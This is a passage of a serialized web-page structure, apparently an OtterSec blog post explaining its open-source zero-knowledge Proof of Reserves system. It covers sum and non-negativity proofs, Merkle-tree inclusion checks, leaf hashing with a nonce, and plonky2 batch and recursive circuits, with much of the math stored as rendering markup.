",{"type":26,"tag":163,"props":69276,"children":69279},{"href":69277,"rel":69278},"https://github.com/otter-sec/por_v2",[167],[69280],{"type":32,"value":69281},"Zero-Knowledge Proof of Reserves (PoRv2)",{"type":32,"value":69283}," was based on ",{"type":26,"tag":163,"props":69285,"children":69288},{"href":69286,"rel":69287},"https://www.okx.com/en-eu/help/zero-knowledge-proofs-what-are-zk-starks-and-how-do-they-work-v2",[167],[69289],{"type":32,"value":69290},"OKX Proof of Reserves algorithm",{"type":32,"value":69292}," since it was the fastest and most efficient one known so far. We also use recursive plonky2 as the algorithm for zero-knowledge proving, but we made some improvements to the circuits for more transparency and verifiable information on the user side, eliminating the need to trust the audit company.",{"type":26,"tag":39,"props":69294,"children":69295},{},[69296,69298,69305],{"type":32,"value":69297},"In addition, we also created and open-sourced a ",{"type":26,"tag":163,"props":69299,"children":69302},{"href":69300,"rel":69301},"https://github.com/otter-sec/por_verifier_server",[167],[69303],{"type":32,"value":69304},"PoR verifier server",{"type":32,"value":69306}," that receives the proofs and validates them.",{"type":26,"tag":27,"props":69308,"children":69310},{"id":69309},"why-do-we-use-zk-for-por",[69311],{"type":32,"value":69312},"Why do we use ZK for PoR?",{"type":26,"tag":39,"props":69314,"children":69315},{},[69316,69318,69323],{"type":32,"value":69317},"Proving reserves is crucial, but it presents a unique challenge for any platform holding user funds: how do you publicly prove solvency without also exposing sensitive user balance information or revealing proprietary financial details? This is where ",{"type":26,"tag":9348,"props":69319,"children":69320},{},[69321],{"type":32,"value":69322},"Zero-Knowledge Proofs (ZKPs)",{"type":32,"value":69324}," become game-changers.",{"type":26,"tag":39,"props":69326,"children":69327},{},[69328],{"type":32,"value":69329},"Simply put, a Zero-Knowledge Proof allows one party to prove to another that a statement is true without revealing any information beyond the validity of the statement itself. Imagine proving you know a secret password without actually telling anyone the password. You confirm you possess the knowledge, but the secret remains yours.",{"type":26,"tag":39,"props":69331,"children":69332},{},[69333],{"type":32,"value":69334},"In the context of Proof of Reserves, ZKPs are perfectly suited to solve the privacy paradox. They enable a platform to prove two important things cryptographically:",{"type":26,"tag":6712,"props":69336,"children":69337},{},[69338,69355],{"type":26,"tag":2044,"props":69339,"children":69340},{},[69341,69346,69348,69354],{"type":26,"tag":9348,"props":69342,"children":69343},{},[69344],{"type":32,"value":69345},"Sum proof",{"type":32,"value":69347},": The exchange liability is equal to the sum of all users' balances. (e.g: ",{"type":26,"tag":83,"props":69349,"children":69351},{"className":69350},[],[69352],{"type":32,"value":69353},"btc_liability = user1_btc + user2_btc + user3_btc + ...",{"type":32,"value":8256},{"type":26,"tag":2044,"props":69356,"children":69357},{},[69358,69363,69365,69370],{"type":26,"tag":9348,"props":69359,"children":69360},{},[69361],{"type":32,"value":69362},"Non-negativity",{"type":32,"value":69364},": All users have a ",{"type":26,"tag":9348,"props":69366,"children":69367},{},[69368],{"type":32,"value":69369},"positive",{"type":32,"value":69371}," net balance. This ensures that the sum proof is not tampered with by users with negative net balances. A user can have negative asset balances (e.g., borrowing BTC) but only if collateralized with other assets.",{"type":26,"tag":39,"props":69373,"children":69374},{},[69375],{"type":32,"value":69376},"It is worth noting that we cannot guarantee that all users were included in the ZK analysis. Therefore, if we only used ZKPs to prove those two statements, the exchange could tamper with the sum proof by excluding users from the PoR. That's why we also use a Merkle tree to prove inclusions.",{"type":26,"tag":27,"props":69378,"children":69380},{"id":69379},"what-is-a-merkle-tree-and-how-does-it-help-in-a-por",[69381],{"type":32,"value":69382},"What is a Merkle Tree and how does it help in a PoR?",{"type":26,"tag":39,"props":69384,"children":69385},{},[69386],{"type":32,"value":69387},"A Merkle tree is a tree data structure where each leaf node is a cryptographic hash of an individual piece of data (like a user's balance), and every non-leaf node is a cryptographic hash of its child nodes. This structure allows for the entire dataset to be summarized by a single, unique hash at the top, called the Merkle Root.",{"type":26,"tag":39,"props":69389,"children":69390},{},[69391],{"type":26,"tag":6468,"props":69392,"children":69394},{"alt":9464,"src":69393},"/posts/por/merkle-tree.png",[],{"type":26,"tag":39,"props":69396,"children":69397},{},[69398],{"type":32,"value":69399},"In the PoR, we can use a Merkle tree to verify the inclusion of each user in the Proof of Reserves. It works like this:",{"type":26,"tag":6712,"props":69401,"children":69402},{},[69403,69416,69421],{"type":26,"tag":2044,"props":69404,"children":69405},{},[69406,69408,69414],{"type":32,"value":69407},"The Merkle tree is generated using the leaf nodes as the hashes of the user information (e.g., ",{"type":26,"tag":83,"props":69409,"children":69411},{"className":69410},[],[69412],{"type":32,"value":69413},"sha256({id: 1, balances: {\"BTC\": 0.1, \"ETH\": 0.2, ...}})",{"type":32,"value":69415},");",{"type":26,"tag":2044,"props":69417,"children":69418},{},[69419],{"type":32,"value":69420},"The Merkle tree is made public;",{"type":26,"tag":2044,"props":69422,"children":69423},{},[69424],{"type":32,"value":69425},"Each user can download the Merkle tree and check if their account was included by hashing their account information and checking if the hash is one of the leaves;",{"type":26,"tag":39,"props":69427,"children":69428},{},[69429],{"type":32,"value":69430},"In other words, this use of the Merkle tree allows users to easily verify that their individual balance was included in the overall total.",{"type":26,"tag":27,"props":69432,"children":69434},{"id":69433},"ottersec-porv2",[69435],{"type":32,"value":69436},"OtterSec PoRv2",{"type":26,"tag":39,"props":69438,"children":69439},{},[69440,69446,69448,69455],{"type":26,"tag":163,"props":69441,"children":69443},{"href":69277,"rel":69442},[167],[69444],{"type":32,"value":69445},"We just open-sourced our Proof of Reserves code (PoRv2)",{"type":32,"value":69447},", which uses the ",{"type":26,"tag":163,"props":69449,"children":69452},{"href":69450,"rel":69451},"https://github.com/0xPolygonZero/plonky2",[167],[69453],{"type":32,"value":69454},"plonky2 ZK algorithm",{"type":32,"value":69456}," to create a Merkle tree and a final ZK proof that recursively verifies smaller sum and non-negativity proofs.",{"type":26,"tag":39,"props":69458,"children":69459},{},[69460,69462,69469],{"type":32,"value":69461},"We named it PoRv2 because we already had a version based on ",{"type":26,"tag":163,"props":69463,"children":69466},{"href":69464,"rel":69465},"https://vitalik.eth.limo/general/2022/11/19/proof_of_solvency.html",[167],[69467],{"type":32,"value":69468},"Vitalik's proof of solvency",{"type":32,"value":69470},", which was not optimal.",{"type":26,"tag":39,"props":69472,"children":69473},{},[69474],{"type":26,"tag":9348,"props":69475,"children":69476},{},[69477],{"type":32,"value":69478},"Non-negativity Proof",{"type":26,"tag":39,"props":69480,"children":69481},{},[69482],{"type":32,"value":69483},"In our non-negativity proof, the circuit receives the asset balances of each user and the price of each asset. With these inputs, it calculates the account's USD balance and checks if it is greater than 0.",{"type":26,"tag":39,"props":69485,"children":69486},{},[69487],{"type":32,"value":69488},"We also check for overflows during summation to prevent tampering in the final result.",{"type":26,"tag":39,"props":69490,"children":69491},{},[69492],{"type":26,"tag":9348,"props":69493,"children":69494},{},[69495],{"type":32,"value":69496},"Sum Proof",{"type":26,"tag":39,"props":69498,"children":69499},{},[69500,69502,69508],{"type":32,"value":69501},"The sum proof verifies a public circuit input that was calculated by summing up all user balances of each asset. (e.g., ",{"type":26,"tag":83,"props":69503,"children":69505},{"className":69504},[],[69506],{"type":32,"value":69507},"BTC final: user1_btc + user2_btc ...",{"type":32,"value":69509},"). Note that each asset's final sum is not USD-based; we calculate the final balance using the asset balance itself.",{"type":26,"tag":607,"props":69511,"children":69513},{"id":69512},"what-are-the-ottersec-porv2-key-points",[69514],{"type":32,"value":69515},"What are the OtterSec PoRv2 key points?",{"type":26,"tag":6712,"props":69517,"children":69518},{},[69519,69529,69547,69557,69588],{"type":26,"tag":2044,"props":69520,"children":69521},{},[69522,69527],{"type":26,"tag":9348,"props":69523,"children":69524},{},[69525],{"type":32,"value":69526},"Transparency",{"type":32,"value":69528},": It is possible for the exchange to safely disclose the entire Merkle tree so users can verify it without the need for an external auditing company. Also, the code allows asset price commitments and verifications.",{"type":26,"tag":2044,"props":69530,"children":69531},{},[69532,69537,69539,69546],{"type":26,"tag":9348,"props":69533,"children":69534},{},[69535],{"type":32,"value":69536},"Time-efficiency",{"type":32,"value":69538},": We were able to reduce the amount of time to prove by more than 100 times from our previous version by generating proofs for 750,000 users within 8 minutes using a Mac M3 Pro. ",{"type":26,"tag":163,"props":69540,"children":69543},{"href":69541,"rel":69542},"https://github.com/otter-sec/por_v2?tab=readme-ov-file#benchmark",[167],[69544],{"type":32,"value":69545},"Check our benchmark",{"type":32,"value":180},{"type":26,"tag":2044,"props":69548,"children":69549},{},[69550,69555],{"type":26,"tag":9348,"props":69551,"children":69552},{},[69553],{"type":32,"value":69554},"Memory-efficiency",{"type":32,"value":69556},": We also were able to reduce the amount of RAM needed to prove the liabilities of millions of users. Now, we are able to use machines with 16GB.",{"type":26,"tag":2044,"props":69558,"children":69559},{},[69560,69565,69567,69572,69574,69579,69581,69586],{"type":26,"tag":9348,"props":69561,"children":69562},{},[69563],{"type":32,"value":69564},"Small-proofs",{"type":32,"value":69566},": We were able to reduce the final proof to less than ",{"type":26,"tag":9348,"props":69568,"children":69569},{},[69570],{"type":32,"value":69571},"500KB",{"type":32,"value":69573}," and each inclusion proof to ",{"type":26,"tag":9348,"props":69575,"children":69576},{},[69577],{"type":32,"value":69578},"~52KB",{"type":32,"value":69580},". The only big file that we need to store is the Merkle tree, which doesn't consume more than ",{"type":26,"tag":9348,"props":69582,"children":69583},{},[69584],{"type":32,"value":69585},"200MB",{"type":32,"value":69587}," if the PoR parameters are finely adjusted. Additionally, instead of storing each inclusion proof in a static file, we provide an efficient method to generate inclusion proofs on demand, eliminating the need for the exchange to store millions of files and conserve disk space and resources.",{"type":26,"tag":2044,"props":69589,"children":69590},{},[69591,69596],{"type":26,"tag":9348,"props":69592,"children":69593},{},[69594],{"type":32,"value":69595},"Privacy",{"type":32,"value":69597},": We use many cryptographic mechanisms to ensure that the user balances and other private information are kept safe and secret.",{"type":26,"tag":27,"props":69599,"children":69601},{"id":69600},"zk-circuits",[69602],{"type":32,"value":69603},"ZK Circuits",{"type":26,"tag":39,"props":69605,"children":69606},{},[69607],{"type":32,"value":69608},"We use two different ZK circuits to generate the final proof:",{"type":26,"tag":6712,"props":69610,"children":69611},{},[69612,69617],{"type":26,"tag":2044,"props":69613,"children":69614},{},[69615],{"type":32,"value":69616},"Batch circuit",{"type":26,"tag":2044,"props":69618,"children":69619},{},[69620],{"type":32,"value":69621},"Recursive circuit",{"type":26,"tag":39,"props":69623,"children":69624},{},[69625],{"type":32,"value":69626},"With those two circuits, we can generate the proofs recursive tree:",{"type":26,"tag":39,"props":69628,"children":69629},{},[69630],{"type":26,"tag":6468,"props":69631,"children":69633},{"alt":9464,"src":69632},"/posts/por/batch-circuit.png",[],{"type":26,"tag":35,"props":69635,"children":69636},{},[69637],{"type":26,"tag":39,"props":69638,"children":69639},{},[69640,69642,69648,69650,69656],{"type":32,"value":69641},"Note: We are using 512 as ",{"type":26,"tag":83,"props":69643,"children":69645},{"className":69644},[],[69646],{"type":32,"value":69647},"BATCH_SIZE",{"type":32,"value":69649}," and 8 as ",{"type":26,"tag":83,"props":69651,"children":69653},{"className":69652},[],[69654],{"type":32,"value":69655},"RECURSIVE_SIZE",{"type":32,"value":69657}," which indicates how many children each circuit has. This is easily adjustable in the code, and the optimal configuration will depend on the amount of accounts being proved in the PoR.",{"type":26,"tag":35,"props":69659,"children":69660},{},[69661],{"type":26,"tag":39,"props":69662,"children":69663},{},[69664],{"type":32,"value":69665},"Note 2: We add empty proofs as padding to chunks that don't have the correct length.",{"type":26,"tag":39,"props":69667,"children":69668},{},[69669],{"type":32,"value":69670},"Each non-leaf node in this tree is a ZK proof, which is generated using the related circuit; each circuit also generates the Merkle tree hash of each node, which is included in the Merkle tree.",{"type":26,"tag":607,"props":69672,"children":69674},{"id":69673},"leaf-nodes",[69675],{"type":32,"value":69676},"Leaf Nodes",{"type":26,"tag":39,"props":69678,"children":69679},{},[69680],{"type":32,"value":69681},"The leaf nodes are the hashes of the account information. It is calculated in this way:",{"type":26,"tag":39,"props":69683,"children":69684},{},[69685],{"type":26,"tag":83,"props":69686,"children":69688},{"className":69687},[213,4703],[69689],{"type":26,"tag":217,"props":69690,"children":69692},{"className":69691},[225],[69693],{"type":26,"tag":217,"props":69694,"children":69696},{"className":69695,"ariaHidden":231},[230],[69697,69723],{"type":26,"tag":217,"props":69698,"children":69700},{"className":69699},[236],[69701,69705,69710,69714,69719],{"type":26,"tag":217,"props":69702,"children":69704},{"className":69703,"style":43002},[241],[],{"type":26,"tag":217,"props":69706,"children":69708},{"className":69707},[247,2152],[69709],{"type":32,"value":2612},{"type":26,"tag":217,"props":69711,"children":69713},{"className":69712,"style":259},[258],[],{"type":26,"tag":217,"props":69715,"children":69717},{"className":69716},[264],[69718],{"type":32,"value":267},{"type":26,"tag":217,"props":69720,"children":69722},{"className":69721,"style":259},[258],[],{"type":26,"tag":217,"props":69724,"children":69726},{"className":69725},[236],[69727,69731,69736,69742,69747,69752,69757,69762,69767,69772,69778,69783,69788,69794,69799,69805,69811,69868,69874,69880,69885,69890,69895,69900,69905,69910,69915,69920,69925,69982,69987,69992,69997,70002,70007,70012,70017,70022,70027,70032,70038,70044,70049,70054,70059,70064,70069,70074,70079,70084,70089,70094,70099,70104,70109,70114],{"type":26,"tag":217,"props":69728,"children":69730},{"className":69729,"style":49604},[241],[],{"type":26,"tag":217,"props":69732,"children":69734},{"className":69733,"style":2153},[247,2152],[69735],{"type":32,"value":2156},{"type":26,"tag":217,"props":69737,"children":69739},{"className":69738},[247,2152],[69740],{"type":32,"value":69741},"ose",{"type":26,"tag":217,"props":69743,"children":69745},{"className":69744},[247,2152],[69746],{"type":32,"value":2290},{"type":26,"tag":217,"props":69748,"children":69750},{"className":69749},[247,2152],[69751],{"type":32,"value":22057},{"type":26,"tag":217,"props":69753,"children":69755},{"className":69754},[247,2152],[69756],{"type":32,"value":19494},{"type":26,"tag":217,"props":69758,"children":69760},{"className":69759},[247,2152],[69761],{"type":32,"value":2197},{"type":26,"tag":217,"props":69763,"children":69765},{"className":69764},[288],[69766],{"type":32,"value":1851},{"type":26,"tag":217,"props":69768,"children":69770},{"className":69769},[247,2152],[69771],{"type":32,"value":163},{"type":26,"tag":217,"props":69773,"children":69775},{"className":69774},[247,2152],[69776],{"type":32,"value":69777},"sse",{"type":26,"tag":217,"props":69779,"children":69781},{"className":69780},[247,2152],[69782],{"type":32,"value":2935},{"type":26,"tag":217,"props":69784,"children":69786},{"className":69785,"style":2753},[247],[69787],{"type":32,"value":49012},{"type":26,"tag":217,"props":69789,"children":69791},{"className":69790},[247,2152],[69792],{"type":32,"value":69793},"ba",{"type":26,"tag":217,"props":69795,"children":69797},{"className":69796,"style":19330},[247,2152],[69798],{"type":32,"value":19333},{"type":26,"tag":217,"props":69800,"children":69802},{"className":69801},[247,2152],[69803],{"type":32,"value":69804},"an",{"type":26,"tag":217,"props":69806,"children":69808},{"className":69807},[247,2152],[69809],{"type":32,"value":69810},"ce",{"type":26,"tag":217,"props":69812,"children":69814},{"className":69813},[247],[69815,69820],{"type":26,"tag":217,"props":69816,"children":69818},{"className":69817},[247,2152],[69819],{"type":32,"value":3246},{"type":26,"tag":217,"props":69821,"children":69823},{"className":69822},[2160],[69824],{"type":26,"tag":217,"props":69825,"children":69827},{"className":69826},[299,300],[69828,69857],{"type":26,"tag":217,"props":69829,"children":69831},{"className":69830},[305],[69832,69852],{"type":26,"tag":217,"props":69833,"children":69835},{"className":69834,"style":19226},[310],[69836],{"type":26,"tag":217,"props":69837,"children":69838},{"style":2275},[69839,69843],{"type":26,"tag":217,"props":69840,"children":69842},{"className":69841,"style":2182},[320],[],{"type":26,"tag":217,"props":69844,"children":69846},{"className":69845},[2187,2188,2189,2190],[69847],{"type":26,"tag":217,"props":69848,"children":69850},{"className":69849},[247,2190],[69851],{"type":32,"value":1883},{"type":26,"tag":217,"props":69853,"children":69855},{"className":69854},[409],[69856],{"type":32,"value":412},{"type":26,"tag":217,"props":69858,"children":69860},{"className":69859},[305],[69861],{"type":26,"tag":217,"props":69862,"children":69864},{"className":69863,"style":2210},[310],[69865],{"type":26,"tag":217,"props":69866,"children":69867},{},[],{"type":26,"tag":217,"props":69869,"children":69871},{"className":69870},[258],[69872],{"type":32,"value":69873}," ",{"type":26,"tag":217,"props":69875,"children":69877},{"className":69876},[247],[69878],{"type":32,"value":69879},"∣∣",{"type":26,"tag":217,"props":69881,"children":69883},{"className":69882},[258],[69884],{"type":32,"value":69873},{"type":26,"tag":217,"props":69886,"children":69888},{"className":69887},[247,2152],[69889],{"type":32,"value":163},{"type":26,"tag":217,"props":69891,"children":69893},{"className":69892},[247,2152],[69894],{"type":32,"value":69777},{"type":26,"tag":217,"props":69896,"children":69898},{"className":69897},[247,2152],[69899],{"type":32,"value":2935},{"type":26,"tag":217,"props":69901,"children":69903},{"className":69902,"style":2753},[247],[69904],{"type":32,"value":49012},{"type":26,"tag":217,"props":69906,"children":69908},{"className":69907},[247,2152],[69909],{"type":32,"value":69793},{"type":26,"tag":217,"props":69911,"children":69913},{"className":69912,"style":19330},[247,2152],[69914],{"type":32,"value":19333},{"type":26,"tag":217,"props":69916,"children":69918},{"className":69917},[247,2152],[69919],{"type":32,"value":69804},{"type":26,"tag":217,"props":69921,"children":69923},{"className":69922},[247,2152],[69924],{"type":32,"value":69810},{"type":26,"tag":217,"props":69926,"children":69928},{"className":69927},[247],[69929,69934],{"type":26,"tag":217,"props":69930,"children":69932},{"className":69931},[247,2152],[69933],{"type":32,"value":3246},{"type":26,"tag":217,"props":69935,"children":69937},{"className":69936},[2160],[69938],{"type":26,"tag":217,"props":69939,"children":69941},{"className":69940},[299,300],[69942,69971],{"type":26,"tag":217,"props":69943,"children":69945},{"className":69944},[305],[69946,69966],{"type":26,"tag":217,"props":69947,"children":69949},{"className":69948,"style":19226},[310],[69950],{"type":26,"tag":217,"props":69951,"children":69952},{"style":2275},[69953,69957],{"type":26,"tag":217,"props":69954,"children":69956},{"className":69955,"style":2182},[320],[],{"type":26,"tag":217,"props":69958,"children":69960},{"className":69959},[2187,2188,2189,2190],[69961],{"type":26,"tag":217,"props":69962,"children":69964},{"className":69963},[247,2190],[69965],{"type":32,"value":185},{"type":26,"tag":217,"props":69967,"children":69969},{"className":69968},[409],[69970],{"type":32,"value":412},{"type":26,"tag":217,"props":69972,"children":69974},{"className":69973},[305],[69975],{"type":26,"tag":217,"props":69976,"children":69978},{"className":69977,"style":2210},[310],[69979],{"type":26,"tag":217,"props":69980,"children":69981},{},[],{"type":26,"tag":217,"props":69983,"children":69985},{"className":69984},[258],[69986],{"type":32,"value":69873},{"type":26,"tag":217,"props":69988,"children":69990},{"className":69989},[247],[69991],{"type":32,"value":13251},{"type":26,"tag":217,"props":69993,"children":69995},{"className":69994},[258],[69996],{"type":32,"value":69873},{"type":26,"tag":217,"props":69998,"children":70000},{"className":69999},[247],[70001],{"type":32,"value":69879},{"type":26,"tag":217,"props":70003,"children":70005},{"className":70004},[258],[70006],{"type":32,"value":69873},{"type":26,"tag":217,"props":70008,"children":70010},{"className":70009,"style":5270},[247,2152],[70011],{"type":32,"value":5273},{"type":26,"tag":217,"props":70013,"children":70015},{"className":70014,"style":2680},[247,2152],[70016],{"type":32,"value":2683},{"type":26,"tag":217,"props":70018,"children":70020},{"className":70019},[247,2152],[70021],{"type":32,"value":48300},{"type":26,"tag":217,"props":70023,"children":70025},{"className":70024},[247],[70026],{"type":32,"value":10975},{"type":26,"tag":217,"props":70028,"children":70030},{"className":70029},[288],[70031],{"type":32,"value":1851},{"type":26,"tag":217,"props":70033,"children":70035},{"className":70034},[247,2152],[70036],{"type":32,"value":70037},"u",{"type":26,"tag":217,"props":70039,"children":70041},{"className":70040,"style":2753},[247,2152],[70042],{"type":32,"value":70043},"ser",{"type":26,"tag":217,"props":70045,"children":70047},{"className":70046,"style":2753},[247],[70048],{"type":32,"value":49012},{"type":26,"tag":217,"props":70050,"children":70052},{"className":70051},[247,2152],[70053],{"type":32,"value":2290},{"type":26,"tag":217,"props":70055,"children":70057},{"className":70056},[247,2152],[70058],{"type":32,"value":22057},{"type":26,"tag":217,"props":70060,"children":70062},{"className":70061},[428],[70063],{"type":32,"value":1889},{"type":26,"tag":217,"props":70065,"children":70067},{"className":70066},[258],[70068],{"type":32,"value":69873},{"type":26,"tag":217,"props":70070,"children":70072},{"className":70071},[247],[70073],{"type":32,"value":69879},{"type":26,"tag":217,"props":70075,"children":70077},{"className":70076},[258],[70078],{"type":32,"value":69873},{"type":26,"tag":217,"props":70080,"children":70082},{"className":70081},[247,2152],[70083],{"type":32,"value":70037},{"type":26,"tag":217,"props":70085,"children":70087},{"className":70086,"style":2753},[247,2152],[70088],{"type":32,"value":70043},{"type":26,"tag":217,"props":70090,"children":70092},{"className":70091,"style":2753},[247],[70093],{"type":32,"value":49012},{"type":26,"tag":217,"props":70095,"children":70097},{"className":70096},[247,2152],[70098],{"type":32,"value":2197},{"type":26,"tag":217,"props":70100,"children":70102},{"className":70101},[247,2152],[70103],{"type":32,"value":19494},{"type":26,"tag":217,"props":70105,"children":70107},{"className":70106},[247,2152],[70108],{"type":32,"value":2197},{"type":26,"tag":217,"props":70110,"children":70112},{"className":70111},[247,2152],[70113],{"type":32,"value":69810},{"type":26,"tag":217,"props":70115,"children":70117},{"className":70116},[428],[70118],{"type":32,"value":1889},{"type":26,"tag":39,"props":70120,"children":70121},{},[70122,70124,70130],{"type":32,"value":70123},"In other words, all balances are concatenated with the hashed user ID (which can be a ",{"type":26,"tag":83,"props":70125,"children":70127},{"className":70126},[],[70128],{"type":32,"value":70129},"uuid",{"type":32,"value":70131},", a username or an incremental ID) and with a nonce. The nonce is a random number that serves as a security measure against attackers who could brute-force the hash to find out other users' balances. Since the Merkle tree is a public proof, we need to be careful against these types of data leaks.",{"type":26,"tag":607,"props":70133,"children":70135},{"id":70134},"batch-circuit",[70136],{"type":32,"value":70137},"Batch Circuit",{"type":26,"tag":39,"props":70139,"children":70140},{},[70141],{"type":32,"value":70142},"The batch circuit is the first proven circuit in the PoR algorithm. It receives the account's information (grouped in 512) and generates the ZK proof with those constraints:",{"type":26,"tag":39,"props":70144,"children":70145},{},[70146],{"type":26,"tag":9348,"props":70147,"children":70148},{},[70149],{"type":32,"value":70150},"Public Inputs",{"type":26,"tag":2040,"props":70152,"children":70153},{},[70154,70159,70164],{"type":26,"tag":2044,"props":70155,"children":70156},{},[70157],{"type":32,"value":70158},"Asset prices in USD",{"type":26,"tag":2044,"props":70160,"children":70161},{},[70162],{"type":32,"value":70163},"Merkle tree hash",{"type":26,"tag":2044,"props":70165,"children":70166},{},[70167],{"type":32,"value":70168},"Summed asset balances",{"type":26,"tag":39,"props":70170,"children":70171},{},[70172],{"type":26,"tag":9348,"props":70173,"children":70174},{},[70175],{"type":32,"value":70176},"Private Inputs",{"type":26,"tag":2040,"props":70178,"children":70179},{},[70180,70185],{"type":26,"tag":2044,"props":70181,"children":70182},{},[70183],{"type":32,"value":70184},"Users balances",{"type":26,"tag":2044,"props":70186,"children":70187},{},[70188],{"type":32,"value":70189},"Merkle tree leaves hashes",{"type":26,"tag":39,"props":70191,"children":70192},{},[70193],{"type":26,"tag":9348,"props":70194,"children":70195},{},[70196],{"type":32,"value":70197},"Constraints",{"type":26,"tag":2040,"props":70199,"children":70200},{},[70201,70651,70819,71166,71562],{"type":26,"tag":2044,"props":70202,"children":70203},{},[70204],{"type":26,"tag":83,"props":70205,"children":70207},{"className":70206},[213,4703],[70208],{"type":26,"tag":217,"props":70209,"children":70211},{"className":70210},[225],[70212],{"type":26,"tag":217,"props":70213,"children":70215},{"className":70214,"ariaHidden":231},[230],[70216,70351,70557],{"type":26,"tag":217,"props":70217,"children":70219},{"className":70218},[236],[70220,70225,70230,70236,70241,70246,70251,70256,70261,70266,70271,70276,70281,70338,70342,70347],{"type":26,"tag":217,"props":70221,"children":70224},{"className":70222,"style":70223},[241],"height:0.9695em;vertical-align:-0.31em;",[],{"type":26,"tag":217,"props":70226,"children":70228},{"className":70227},[247,2152],[70229],{"type":32,"value":163},{"type":26,"tag":217,"props":70231,"children":70233},{"className":70232},[247,2152],[70234],{"type":32,"value":70235},"cco",{"type":26,"tag":217,"props":70237,"children":70239},{"className":70238},[247,2152],[70240],{"type":32,"value":70037},{"type":26,"tag":217,"props":70242,"children":70244},{"className":70243},[247,2152],[70245],{"type":32,"value":2197},{"type":26,"tag":217,"props":70247,"children":70249},{"className":70248},[247,2152],[70250],{"type":32,"value":2935},{"type":26,"tag":217,"props":70252,"children":70254},{"className":70253,"style":2753},[247],[70255],{"type":32,"value":49012},{"type":26,"tag":217,"props":70257,"children":70259},{"className":70258},[247,2152],[70260],{"type":32,"value":2400},{"type":26,"tag":217,"props":70262,"children":70264},{"className":70263,"style":2326},[247,2152],[70265],{"type":32,"value":19587},{"type":26,"tag":217,"props":70267,"children":70269},{"className":70268},[247,2152],[70270],{"type":32,"value":70037},{"type":26,"tag":217,"props":70272,"children":70274},{"className":70273},[247,2152],[70275],{"type":32,"value":2290},{"type":26,"tag":217,"props":70277,"children":70279},{"className":70278},[247,2152],[70280],{"type":32,"value":2935},{"type":26,"tag":217,"props":70282,"children":70284},{"className":70283},[247],[70285,70290],{"type":26,"tag":217,"props":70286,"children":70288},{"className":70287,"style":2326},[247,2152],[70289],{"type":32,"value":19017},{"type":26,"tag":217,"props":70291,"children":70293},{"className":70292},[2160],[70294],{"type":26,"tag":217,"props":70295,"children":70297},{"className":70296},[299,300],[70298,70327],{"type":26,"tag":217,"props":70299,"children":70301},{"className":70300},[305],[70302,70322],{"type":26,"tag":217,"props":70303,"children":70305},{"className":70304,"style":2271},[310],[70306],{"type":26,"tag":217,"props":70307,"children":70308},{"style":2348},[70309,70313],{"type":26,"tag":217,"props":70310,"children":70312},{"className":70311,"style":2182},[320],[],{"type":26,"tag":217,"props":70314,"children":70316},{"className":70315},[2187,2188,2189,2190],[70317],{"type":26,"tag":217,"props":70318,"children":70320},{"className":70319},[247,2152,2190],[70321],{"type":32,"value":2290},{"type":26,"tag":217,"props":70323,"children":70325},{"className":70324},[409],[70326],{"type":32,"value":412},{"type":26,"tag":217,"props":70328,"children":70330},{"className":70329},[305],[70331],{"type":26,"tag":217,"props":70332,"children":70334},{"className":70333,"style":2210},[310],[70335],{"type":26,"tag":217,"props":70336,"children":70337},{},[],{"type":26,"tag":217,"props":70339,"children":70341},{"className":70340,"style":259},[258],[],{"type":26,"tag":217,"props":70343,"children":70345},{"className":70344},[264],[70346],{"type":32,"value":9106},{"type":26,"tag":217,"props":70348,"children":70350},{"className":70349,"style":259},[258],[],{"type":26,"tag":217,"props":70352,"children":70354},{"className":70353},[236],[70355,70359,70365,70370,70375,70380,70385,70390,70395,70400,70405,70410,70415,70420,70425,70430,70435,70440,70497,70502,70507,70512,70517,70522,70527,70532,70538,70543,70547,70553],{"type":26,"tag":217,"props":70356,"children":70358},{"className":70357,"style":49604},[241],[],{"type":26,"tag":217,"props":70360,"children":70362},{"className":70361},[247],[70363],{"type":32,"value":70364},"Σ",{"type":26,"tag":217,"props":70366,"children":70368},{"className":70367},[258],[70369],{"type":32,"value":69873},{"type":26,"tag":217,"props":70371,"children":70373},{"className":70372},[247,2152],[70374],{"type":32,"value":163},{"type":26,"tag":217,"props":70376,"children":70378},{"className":70377},[247,2152],[70379],{"type":32,"value":70235},{"type":26,"tag":217,"props":70381,"children":70383},{"className":70382},[247,2152],[70384],{"type":32,"value":70037},{"type":26,"tag":217,"props":70386,"children":70388},{"className":70387},[247,2152],[70389],{"type":32,"value":2197},{"type":26,"tag":217,"props":70391,"children":70393},{"className":70392},[247,2152],[70394],{"type":32,"value":2935},{"type":26,"tag":217,"props":70396,"children":70398},{"className":70397,"style":2753},[247],[70399],{"type":32,"value":49012},{"type":26,"tag":217,"props":70401,"children":70403},{"className":70402},[247,2152],[70404],{"type":32,"value":163},{"type":26,"tag":217,"props":70406,"children":70408},{"className":70407},[247,2152],[70409],{"type":32,"value":69777},{"type":26,"tag":217,"props":70411,"children":70413},{"className":70412},[247,2152],[70414],{"type":32,"value":2935},{"type":26,"tag":217,"props":70416,"children":70418},{"className":70417,"style":2753},[247],[70419],{"type":32,"value":49012},{"type":26,"tag":217,"props":70421,"children":70423},{"className":70422},[247,2152],[70424],{"type":32,"value":69793},{"type":26,"tag":217,"props":70426,"children":70428},{"className":70427,"style":19330},[247,2152],[70429],{"type":32,"value":19333},{"type":26,"tag":217,"props":70431,"children":70433},{"className":70432},[247,2152],[70434],{"type":32,"value":69804},{"type":26,"tag":217,"props":70436,"children":70438},{"className":70437},[247,2152],[70439],{"type":32,"value":69810},{"type":26,"tag":217,"props":70441,"children":70443},{"className":70442},[247],[70444,70449],{"type":26,"tag":217,"props":70445,"children":70447},{"className":70446},[247,2152],[70448],{"type":32,"value":3246},{"type":26,"tag":217,"props":70450,"children":70452},{"className":70451},[2160],[70453],{"type":26,"tag":217,"props":70454,"children":70456},{"className":70455},[299,300],[70457,70486],{"type":26,"tag":217,"props":70458,"children":70460},{"className":70459},[305],[70461,70481],{"type":26,"tag":217,"props":70462,"children":70464},{"className":70463,"style":2271},[310],[70465],{"type":26,"tag":217,"props":70466,"children":70467},{"style":2275},[70468,70472],{"type":26,"tag":217,"props":70469,"children":70471},{"className":70470,"style":2182},[320],[],{"type":26,"tag":217,"props":70473,"children":70475},{"className":70474},[2187,2188,2189,2190],[70476],{"type":26,"tag":217,"props":70477,"children":70479},{"className":70478},[247,2152,2190],[70480],{"type":32,"value":2290},{"type":26,"tag":217,"props":70482,"children":70484},{"className":70483},[409],[70485],{"type":32,"value":412},{"type":26,"tag":217,"props":70487,"children":70489},{"className":70488},[305],[70490],{"type":26,"tag":217,"props":70491,"children":70493},{"className":70492,"style":2210},[310],[70494],{"type":26,"tag":217,"props":70